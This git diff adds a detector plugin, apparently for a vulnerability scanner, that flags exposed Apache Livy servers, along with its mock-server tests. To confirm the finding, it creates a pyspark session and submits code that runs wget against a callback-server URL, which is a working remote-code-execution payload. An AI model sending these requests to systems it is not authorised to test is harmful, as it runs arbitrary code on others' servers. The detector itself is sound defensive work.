diff --git a/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI.textproto
new file mode 100644
index 000000000..981a82ebf
--- /dev/null
+++ b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI.textproto
@@ -0,0 +1,149 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+ type: VULN_DETECTION
+ name: "ApacheLivy_ExposedUI"
+ author: "joernNNN"
+ version: "0.1"
+}
+
+finding: {
+ main_id: {
+ publisher: "GOOGLE"
+ value: "APACHELIVY_EXPOSED_UI"
+ }
+ title: "Apache Livy Exposed instance"
+ description: "Apache Livy instance is exposed and can be used to compromise the system."
+ recommendation:
+ "Configure authentication or ensure the Apache Livy instance is not exposed "
+ "to the network. See "
+ "https://livy.apache.org/get-started/ for details."
+ severity: CRITICAL
+}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+ name: "livy_exposed_ui_fingerprint"
+ http_request: {
+ method: GET
+ uri: "/ui"
+ response: {
+ http_status: 200
+ expect_all: {
+ conditions: { body {} contains: '
Livy - Sessions' }
+ }
+ }
+ }
+}
+
+actions: {
+ name: "create_sessions"
+ http_request: {
+ method: POST
+ uri: "/sessions"
+ headers: [
+ { name: "Content-Type" value: "application/json" }
+ ]
+ data: '{"kind":"pyspark"}'
+ response: {
+ http_status: 201
+ expect_all: {
+ conditions: { body {} contains: '"proxyUser"' }
+ conditions: { body {} contains: '"kind"' }
+ }
+ extract_all: {
+ patterns: [
+ {
+ from_body: {}
+ regexp: "\"id\":([0-9]+),"
+ variable_name: "sessionid"
+ }
+ ]
+ }
+ }
+ }
+}
+
+actions: {
+ name: "sleep_for_session_creation"
+ utility: { sleep: { duration_ms: 60000 } }
+}
+
+actions: {
+ name: "create_statements"
+ http_request: {
+ method: POST
+ uri: "/sessions/{{ sessionid }}/statements"
+ headers: [
+ { name: "Content-Type" value: "application/json" }
+ ]
+ data:'{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}'
+ response: {
+ http_status: 201
+ expect_all: {
+ conditions: { body {} contains: '"code"' }
+ conditions: { body {} contains: '"state"' }
+ conditions: { body {} contains: '"output"' }
+ }
+ extract_all: {
+ patterns: [
+ {
+ from_body: {}
+ regexp: "\"id\":([0-9]+),"
+ variable_name: "statementid"
+ }
+ ]
+ }
+ }
+ }
+}
+
+actions: {
+ name: "execute_statements"
+ http_request: {
+ method: GET
+ uri: "/sessions/{{ sessionid }}/statements/{{ statementid }}"
+ response: {
+ http_status: 200
+ expect_all: {
+ conditions: { body {} contains: '"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"' }
+ conditions: { body {} contains: '"id"' }
+ conditions: { body {} contains: '"output"' }
+ }
+ }
+ }
+}
+
+actions: {
+ name: "sleep_for_callback"
+ utility: { sleep: { duration_ms: 2000 } }
+}
+actions: {
+ name: "check_callback_server_logs"
+ callback_server: { action_type: CHECK }
+}
+
+
+#############
+# WORKFLOWS #
+#############
+
+workflows: {
+ actions: [
+ "livy_exposed_ui_fingerprint",
+ "create_sessions",
+ "sleep_for_session_creation",
+ "create_statements",
+ "execute_statements",
+ "sleep_for_callback",
+ "check_callback_server_logs"
+ ]
+}
\ No newline at end of file
diff --git a/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI_test.textproto
new file mode 100644
index 000000000..1047e2423
--- /dev/null
+++ b/templated/templateddetector/plugins/exposedui/ApacheLivy_ExposedUI_test.textproto
@@ -0,0 +1,133 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+ tested_plugin: "ApacheLivy_ExposedUI"
+}
+
+tests: {
+ name: "whenVulnerable_returnsVuln"
+ expect_vulnerability: true
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: true
+ }
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/ui"
+ status: 200
+ body_content: 'Livy - Sessions'
+ },
+ {
+ uri: "/sessions"
+ status: 201
+ body_content:
+ '{"id":6,"name":null,"appId":null,"owner":null,"proxyUser":null,"state":"starting","kind":"pyspark","appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\\nstderr: "],"ttl":null,"driverMemory":null,"driverCores":0,"executorMemory":null,"executorCores":0,"conf":{},"archives":[],"files":[],"heartbeatTimeoutInSecond":0,"jars":[],"numExecutors":0,"pyFiles":[],"queue":null}'
+ condition: {
+ body_content: '{"kind":"pyspark"}'
+ headers: [
+ {
+ name: "Content-Type",
+ value: "application/json"
+ }
+ ]
+ }
+ },
+ {
+ uri: "/sessions/6/statements"
+ status: 201
+ condition: {
+ body_content: '{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}'
+ headers: [
+ {
+ name: "Content-Type",
+ value: "application/json"
+ }
+ ]
+ }
+ body_content:
+ '{"id":4,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"running","output":null,"progress":0.0,"started":1755100962100,"completed":0}'
+ },
+ {
+ uri: "/sessions/6/statements/4"
+ status: 200
+ body_content:
+ '{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}'
+ }
+ ]
+ }
+}
+
+
+tests: {
+ name: "whenNotApcheLivy_returnsNoVuln"
+ expect_vulnerability: false
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/api/v1/main/usages/all"
+ status: 400
+ body_content: "..."
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenNoCallback_returnsFalse"
+ expect_vulnerability: false
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: false
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/ui"
+ status: 200
+ body_content: 'Livy - Sessions'
+ },
+ {
+ uri: "/sessions"
+ status: 201
+ body_content:
+ '{"id":6,"name":null,"appId":null,"owner":null,"proxyUser":null,"state":"starting","kind":"pyspark","appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\\nstderr: "],"ttl":null,"driverMemory":null,"driverCores":0,"executorMemory":null,"executorCores":0,"conf":{},"archives":[],"files":[],"heartbeatTimeoutInSecond":0,"jars":[],"numExecutors":0,"pyFiles":[],"queue":null}'
+ condition: {
+ body_content: '{"kind":"pyspark"}'
+ headers: [
+ {
+ name: "Content-Type",
+ value: "application/json"
+ }
+ ]
+ }
+ },
+ {
+ uri: "/sessions/6/statements"
+ status: 201
+ condition: {
+ body_content: '{"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])"}'
+ headers: [
+ {
+ name: "Content-Type",
+ value: "application/json"
+ }
+ ]
+ }
+ body_content:
+ '{"id":4,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"running","output":null,"progress":0.0,"started":1755100962100,"completed":0}'
+ },
+ {
+ uri: "/sessions/6/statements/4"
+ status: 200
+ body_content:
+ '{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}'
+ }
+ ]
+ }
+}
\ No newline at end of file